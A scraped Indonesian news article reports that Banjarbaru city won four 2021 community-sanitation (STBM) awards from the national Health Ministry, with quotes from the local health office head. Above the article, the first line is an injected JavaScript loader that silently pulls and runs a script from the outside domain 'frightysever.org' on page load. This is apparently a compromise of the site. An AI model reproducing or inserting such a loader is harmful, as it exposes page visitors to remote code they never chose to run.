(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru sukses memborong berbagai kategori penghargaan Sanitasi Total Berbasis Masyarakat (STBM) Award 2021 dari Kementerian Kesehatan (Kemenkes) RI. Bahkan pada ajang penghargaan tingkat nasional ini menempatkan Banjarbaru sebagai satu-satunya daerah di Provinsi Kalimantan Selatan yang masuk dalam kategori Kota Open Defecation Free (ODF)/SBS.
Momentum pemberian penghargaan STBM ini diselenggarakan bersamaan dengan peringatan Hari Cuci Tangan Pakai Sabun Sedunia, Jumat (15/10/2021) pagi. Seluruh kepala daerah yang masuk dalam daftar penerima penghargaan turut mengikuti acara yang berlangsung secara virtual.
Kota Banjarbaru yang saat ini menggaungkan slogan “JUARA” —akronim Jujur, Agamis, Sejahtera— membuktikan mampu menyabet 4 kategori penghargaan sekaligus. Salah satunya ialah kategori kota ODF/SBS atau yang dimaksud sebagai daerah yang berhasil menerapkan perilaku higienis yakni Stop Buang Air Besar Sembarangan.
Kemudian untuk penghargaan lainnya diraih Banjarbaru melalui PNS maupun masyarakat yang dinilai telah menyukseskan percepatan program STBM. Yakni, Kepala Desa/Lurah terbaik yang dalam hal ini Lurah Cempaka, Junaidi. Lalu ada pula Saniah yang berdinas di Puskemas Cempaka terpilih sebagai kategori sanitarian terbaik, serta Khairun Nida, warga asal Kecamatan Cempaka, ditetapkan sebagai natural leader terbaik.
Kepala Dinas Kesehatan Banjarbaru, Rizana Mirza, mengungkapkan bahwa diraihnya penghargaan ini merupakan pertama kalinya di bawah era kepemimpinan Wali Kota Banjarbaru Aditya Mufti Ariffin dan Wakil Wali Kota Wartono.
“Ini merupakan keberhasilan kita dalam rangka kegiatan cuci tangan pakai sabun dan sudah ODF (stop buang sampah sembarangan,” katanya.
Sederet kategori penghargaan yang diraih, ucap Kadinkes, tentunya tak lepas dari kerjasama dari seluruh pihak dari Bappeda , Dinas PUPR, Pemberdayaan Lingkungan Hidup serta lapisan masyarakat yang turut berperan aktif dalam terlaksananya ketertiban ini.
Baca juga: Amankan Emas dari Tinju, Beatrix Persembahkan Emas Ketiga untuk Kalsel
“ini sangat baik sekali guna meningkatkan angka kesehatan derajat masyarakat, juga bisa menekan angka stunting kemudian bisa menekan angka kematian ibu dan anak dan sebagainya. Kedepan kita akan melakukan ODF, harapannya Kota Banjarbaru bisa lebih baik lagi menjadi Kota sehat dan nyaman untuk dihuni,” bebernya.
Pemberian penghargaan STMB 2021 hari ini turut diikuti secara langsung oleh Wakil Wali Kota Banjarbaru, Wartono, didamping sejumlah kepala SKPD. (Kanalkalimantan.com/ibnu/al)
Reporter: ibnu/al
Editor: Al
KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More
KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
This website uses cookies.